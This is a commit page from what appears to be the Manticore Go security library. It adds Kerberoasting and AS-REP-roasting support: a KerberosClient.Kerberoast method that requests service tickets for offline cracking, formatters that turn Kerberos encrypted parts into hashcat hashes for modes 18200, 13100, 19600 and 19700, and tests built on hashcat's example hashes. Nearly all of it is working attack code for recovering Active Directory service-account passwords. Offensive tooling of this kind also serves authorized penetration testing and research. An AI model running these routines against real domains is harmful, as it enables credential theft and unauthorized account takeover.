Skip to content

Commit a6b3b7e

Browse files
committed
Add hashcat hash formatting and a Kerberoast client method
Phase 5 of the native Kerberos v5 work: the offensive-tooling surface, isolated in an attacks package so the auth path never depends on it. - attacks.FormatASREPHash and attacks.FormatTGSHash turn a KDC-REP encrypted part into a hashcat-crackable hash. RC4 (etype 23) produces the $krb5asrep$23 (mode 18200) and $krb5tgs$23 (mode 13100) forms with the checksum taken from the leading 16 bytes; AES enctypes produce the $krb5tgs$17/18 (modes 19600/19700) forms with the checksum taken from the trailing 12/16/24 bytes. - KerberosClient.Kerberoast(spn) requests a PAC-free service ticket and returns its encrypted part (KerberoastResult) for offline cracking. AS-REP roasting already exists as kerberos.ASREPRoast. The formatters are validated byte-for-byte against the hashcat wiki example hashes for modes 18200/13100/19600/19700. Overpass-the-hash / pass-the-key were delivered in Phase 3 (WithNTHash/WithAESKey). U2U and relocating ASREPRoast into attacks are deferred (the latter waits on the client/kdc decomposition). stdlib-only.
1 parent cf04cec commit a6b3b7e

3 files changed

Lines changed: 228 additions & 0 deletions

File tree

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
// Package attacks provides the offensive-tooling surface built on the native
2+
// Kerberos primitives: hashcat-compatible hash formatting for AS-REP roasting
3+
// and Kerberoasting. The network operations live on the client
4+
// (kerberos.ASREPRoast, KerberosClient.Kerberoast); this package turns their
5+
// encrypted output into crackable hash strings.
6+
package attacks
7+
8+
import (
9+
"encoding/hex"
10+
"fmt"
11+
12+
"github.com/TheManticoreProject/Manticore/network/kerberos/v5/iana"
13+
)
14+
15+
// aesMacLen returns the truncated-HMAC length appended by an AES enctype's
16+
// encrypt-then/over-MAC construction, which is where the crackable checksum sits
17+
// in the ciphertext for AES Kerberoast/AS-REP hashes.
18+
func aesMacLen(etype int) int {
19+
switch etype {
20+
case iana.ETypeAES128CTSHMACSHA196, iana.ETypeAES256CTSHMACSHA196:
21+
return 12
22+
case iana.ETypeAES128CTSHMACSHA256:
23+
return 16
24+
case iana.ETypeAES256CTSHMACSHA384:
25+
return 24
26+
default:
27+
return 0
28+
}
29+
}
30+
31+
// splitCipher separates a KDC-REP encrypted part into the checksum and the
32+
// remaining encrypted data, as the hashcat formats expect.
33+
//
34+
// - RC4-HMAC (23): the ciphertext is checksum(16) || edata, so the checksum is
35+
// the first 16 bytes.
36+
// - AES: the ciphertext is edata || HMAC, so the checksum is the trailing
37+
// 12/16/24 bytes depending on the enctype.
38+
func splitCipher(etype int, cipher []byte) (cksum, edata []byte, err error) {
39+
switch etype {
40+
case iana.ETypeRC4HMAC:
41+
if len(cipher) < 16 {
42+
return nil, nil, fmt.Errorf("attacks: RC4 ciphertext too short (%d bytes)", len(cipher))
43+
}
44+
return cipher[:16], cipher[16:], nil
45+
case iana.ETypeAES128CTSHMACSHA196, iana.ETypeAES256CTSHMACSHA196,
46+
iana.ETypeAES128CTSHMACSHA256, iana.ETypeAES256CTSHMACSHA384:
47+
m := aesMacLen(etype)
48+
if len(cipher) < m {
49+
return nil, nil, fmt.Errorf("attacks: AES ciphertext too short (%d bytes)", len(cipher))
50+
}
51+
return cipher[len(cipher)-m:], cipher[:len(cipher)-m], nil
52+
default:
53+
return nil, nil, fmt.Errorf("attacks: unsupported etype %d for hash formatting", etype)
54+
}
55+
}
56+
57+
// FormatASREPHash formats an AS-REP encrypted part as a hashcat AS-REP-roast
58+
// hash. RC4 (etype 23) yields the mode-18200 form
59+
// "$krb5asrep$23$user@realm:<checksum>$<edata>"; AES enctypes use the analogous
60+
// "$krb5asrep$<etype>$user@realm:<checksum>$<edata>".
61+
func FormatASREPHash(username, realm string, etype int, cipher []byte) (string, error) {
62+
cksum, edata, err := splitCipher(etype, cipher)
63+
if err != nil {
64+
return "", err
65+
}
66+
return fmt.Sprintf("$krb5asrep$%d$%s@%s:%s$%s",
67+
etype, username, realm, hex.EncodeToString(cksum), hex.EncodeToString(edata)), nil
68+
}
69+
70+
// FormatTGSHash formats a service ticket's encrypted part as a hashcat
71+
// Kerberoast hash. RC4 (etype 23) yields the mode-13100 form
72+
// "$krb5tgs$23$*account$realm$spn*$<checksum>$<edata>"; AES enctypes yield the
73+
// mode-19600/19700 form "$krb5tgs$<etype>$account$realm$<checksum>$<edata>"
74+
// (which carries no SPN, matching hashcat's format).
75+
func FormatTGSHash(account, realm, spn string, etype int, cipher []byte) (string, error) {
76+
cksum, edata, err := splitCipher(etype, cipher)
77+
if err != nil {
78+
return "", err
79+
}
80+
if etype == iana.ETypeRC4HMAC {
81+
return fmt.Sprintf("$krb5tgs$23$*%s$%s$%s*$%s$%s",
82+
account, realm, spn, hex.EncodeToString(cksum), hex.EncodeToString(edata)), nil
83+
}
84+
return fmt.Sprintf("$krb5tgs$%d$%s$%s$%s$%s",
85+
etype, account, realm, hex.EncodeToString(cksum), hex.EncodeToString(edata)), nil
86+
}
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
package attacks
2+
3+
import (
4+
"encoding/hex"
5+
"strings"
6+
"testing"
7+
8+
"github.com/TheManticoreProject/Manticore/network/kerberos/v5/iana"
9+
)
10+
11+
// Exact example hashes from the hashcat wiki (example_hashes), used as vectors.
12+
const (
13+
exASREP23 = "$krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac"
14+
exTGS23 = "$krb5tgs$23$*user$realm$test/spn*$63386d22d359fe42230300d56852c9eb$891ad31d09ab89c6b3b8c5e5de6c06a7f49fd559d7a9a3c32576c8fedf705376cea582ab5938f7fc8bc741acf05c5990741b36ef4311fe3562a41b70a4ec6ecba849905f2385bb3799d92499909658c7287c49160276bca0006c350b0db4fd387adc27c01e9e9ad0c20ed53a7e6356dee2452e35eca2a6a1d1432796fc5c19d068978df74d3d0baf35c77de12456bf1144b6a750d11f55805f5a16ece2975246e2d026dce997fba34ac8757312e9e4e6272de35e20d52fb668c5ed"
15+
exTGS17 = "$krb5tgs$17$user$realm$ae8434177efd09be5bc2eff8$90b4ce5b266821adc26c64f71958a475cf9348fce65096190be04f8430c4e0d554c86dd7ad29c275f9e8f15d2dab4565a3d6e21e449dc2f88e52ea0402c7170ba74f4af037c5d7f8db6d53018a564ab590fc23aa1134788bcc4a55f69ec13c0a083291a96b41bffb978f5a160b7edc828382d11aacd89b5a1bfa710b0e591b190bff9062eace4d26187777db358e70efd26df9c9312dbeef20b1ee0d823d4e71b8f1d00d91ea017459c27c32dc20e451ea6278be63cdd512ce656357c942b95438228e"
16+
exTGS18 = "$krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b02aa1c28ac580ba41137d5a170467f06f17faf5dfb3f95ecf4fad74821fdc7e63a3195573f45f962f86942cb24255e544ad8d05178d560f683a3f59ce94e82c8e724a3af0160be549b472dd83e6b80733ad349973885e9082617294c6cbbea92349671883eaf068d7f5dcfc0405d97fda27435082b82b24f3be27f06c19354bf32066933312c770424eb6143674756243c1bde78ee3294792dcc49008a1b54f32ec5d5695f899946d42a67ce2fb1c227cb1d2004c0"
17+
)
18+
19+
func mustHex(t *testing.T, s string) []byte {
20+
t.Helper()
21+
b, err := hex.DecodeString(s)
22+
if err != nil {
23+
t.Fatalf("bad hex: %v", err)
24+
}
25+
return b
26+
}
27+
28+
// rebuildRC4 reconstructs the KDC-REP ciphertext for an RC4 hash: checksum(16) || edata.
29+
func rebuildRC4(t *testing.T, cksumHex, edataHex string) []byte {
30+
return append(mustHex(t, cksumHex), mustHex(t, edataHex)...)
31+
}
32+
33+
// rebuildAES reconstructs the ciphertext for an AES hash: edata || checksum.
34+
func rebuildAES(t *testing.T, cksumHex, edataHex string) []byte {
35+
return append(mustHex(t, edataHex), mustHex(t, cksumHex)...)
36+
}
37+
38+
func TestFormatASREPHashRC4(t *testing.T) {
39+
// $krb5asrep$23$user@domain.com:<cksum>$<edata>
40+
rest := exASREP23[strings.Index(exASREP23, ":")+1:]
41+
cksumHex, edataHex, _ := strings.Cut(rest, "$")
42+
cipher := rebuildRC4(t, cksumHex, edataHex)
43+
44+
got, err := FormatASREPHash("user", "domain.com", iana.ETypeRC4HMAC, cipher)
45+
if err != nil {
46+
t.Fatal(err)
47+
}
48+
if got != exASREP23 {
49+
t.Errorf("AS-REP RC4 hash mismatch:\n got %s\n want %s", got, exASREP23)
50+
}
51+
}
52+
53+
func lastTwoFields(s string) (secondLast, last string) {
54+
f := strings.Split(s, "$")
55+
return f[len(f)-2], f[len(f)-1]
56+
}
57+
58+
func TestFormatTGSHashRC4(t *testing.T) {
59+
cksumHex, edataHex := lastTwoFields(exTGS23)
60+
cipher := rebuildRC4(t, cksumHex, edataHex)
61+
62+
got, err := FormatTGSHash("user", "realm", "test/spn", iana.ETypeRC4HMAC, cipher)
63+
if err != nil {
64+
t.Fatal(err)
65+
}
66+
if got != exTGS23 {
67+
t.Errorf("TGS RC4 hash mismatch:\n got %s\n want %s", got, exTGS23)
68+
}
69+
}
70+
71+
func TestFormatTGSHashAES(t *testing.T) {
72+
for _, tc := range []struct {
73+
name string
74+
etype int
75+
ex string
76+
}{
77+
{"aes128", iana.ETypeAES128CTSHMACSHA196, exTGS17},
78+
{"aes256", iana.ETypeAES256CTSHMACSHA196, exTGS18},
79+
} {
80+
t.Run(tc.name, func(t *testing.T) {
81+
cksumHex, edataHex := lastTwoFields(tc.ex)
82+
cipher := rebuildAES(t, cksumHex, edataHex)
83+
got, err := FormatTGSHash("user", "realm", "ignored/spn", tc.etype, cipher)
84+
if err != nil {
85+
t.Fatal(err)
86+
}
87+
if got != tc.ex {
88+
t.Errorf("TGS %s hash mismatch:\n got %s\n want %s", tc.name, got, tc.ex)
89+
}
90+
})
91+
}
92+
}
93+
94+
func TestFormatRejectsShortCipher(t *testing.T) {
95+
if _, err := FormatASREPHash("u", "R", iana.ETypeRC4HMAC, []byte{1, 2, 3}); err == nil {
96+
t.Error("expected error for short RC4 cipher")
97+
}
98+
if _, err := FormatTGSHash("u", "R", "s", iana.ETypeAES256CTSHMACSHA196, []byte{1, 2, 3}); err == nil {
99+
t.Error("expected error for short AES cipher")
100+
}
101+
if _, err := FormatTGSHash("u", "R", "s", 999, make([]byte, 32)); err == nil {
102+
t.Error("expected error for unsupported etype")
103+
}
104+
}

network/kerberos/v5/kerberoast.go

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
package kerberos
2+
3+
// KerberoastResult holds the crackable encrypted part of a service ticket
4+
// obtained for a target SPN. The service ticket's enc-part is encrypted with the
5+
// service account's long-term key, so it can be cracked offline to recover that
6+
// account's password. Format it for a cracker with
7+
// attacks.FormatTGSHash(spn, result.Realm, spn, result.EType, result.Cipher).
8+
type KerberoastResult struct {
9+
// SPN is the service principal name that was roasted.
10+
SPN string
11+
// Realm is the Kerberos realm (uppercased).
12+
Realm string
13+
// EType is the encryption type of the ticket's enc-part (23 = RC4 yields the
14+
// most crackable hash; request it by advertising RC4 in the TGS-REQ).
15+
EType int
16+
// Cipher is the raw encrypted part of the service ticket.
17+
Cipher []byte
18+
}
19+
20+
// Kerberoast requests a service ticket for the given SPN and returns its
21+
// encrypted part for offline cracking. GetTGT must have succeeded first. The PAC
22+
// is not requested (includePAC = false), yielding a shorter, PAC-free ticket as
23+
// Kerberoasting tools do.
24+
//
25+
// To obtain an RC4 (NT-hash-crackable) ticket, ensure RC4 is offered; the KDC
26+
// returns the strongest etype the service account key supports.
27+
func (c *KerberosClient) Kerberoast(spn string) (*KerberoastResult, error) {
28+
ticket, _, _, err := c.GetTGS(spn, false)
29+
if err != nil {
30+
return nil, err
31+
}
32+
return &KerberoastResult{
33+
SPN: spn,
34+
Realm: c.realm,
35+
EType: ticket.EncPart.EType,
36+
Cipher: ticket.EncPart.Cipher,
37+
}, nil
38+
}

0 commit comments

Comments
 (0)